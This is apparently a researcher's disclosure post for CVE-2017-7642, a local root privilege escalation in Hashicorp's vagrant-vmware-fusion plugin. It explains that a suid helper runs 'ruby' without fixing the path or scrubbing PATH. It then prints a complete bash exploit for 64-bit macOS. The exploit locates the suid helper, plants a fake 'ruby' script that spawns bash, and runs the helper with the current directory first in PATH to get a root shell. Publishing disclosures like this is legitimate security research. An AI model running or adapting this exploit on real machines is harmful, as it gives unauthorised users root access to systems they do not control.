CVE-2017-7642 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.20

15 Jul 2017 06:57

I'm a big fan of Hashicorp but this is an awful bug to have in software of their
calibre.

Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
protect their proprietary ruby code.  It does this by turning the ruby code into
bytecode and executing it directly.

Unfortunately the execution chain necessary for this to work is not safe.  After
installing the plugin, the first time you "vagrant up" any vagrant file using
vmware fusion it will create some files in
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:

vagrant_vmware_desktop_sudo_helper
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64

The first one is an encoded ruby script, the others are "sudo helper" binaries
for the different platforms supported by the plugin.  Of these sudo helpers,
the one that corresponds to your platform will be made suid root when vagrant up
is run.

Unfortunately the helper calls the ruby script with system("ruby <script path>")
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
PATH variable either.  We can easily exploit this to get root.

Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.

The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.

The exploit below is for darwin 64bit but it's likely other architectures are
also vulnerable.

https://m4.rkw.io/vagrant_vmware_privesc.sh.txt
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3
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#!/bin/bash

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

cat > ruby <<EOF
#!/bin/bash
echo
echo "************************************************************************"
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
echo "* plugin, by m4rkw                                                     *"
echo "************************************************************************"
echo
echo "Shout out to #coolkids o/"
echo
bash
exit 0
EOF

chmod 755 ruby

VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64

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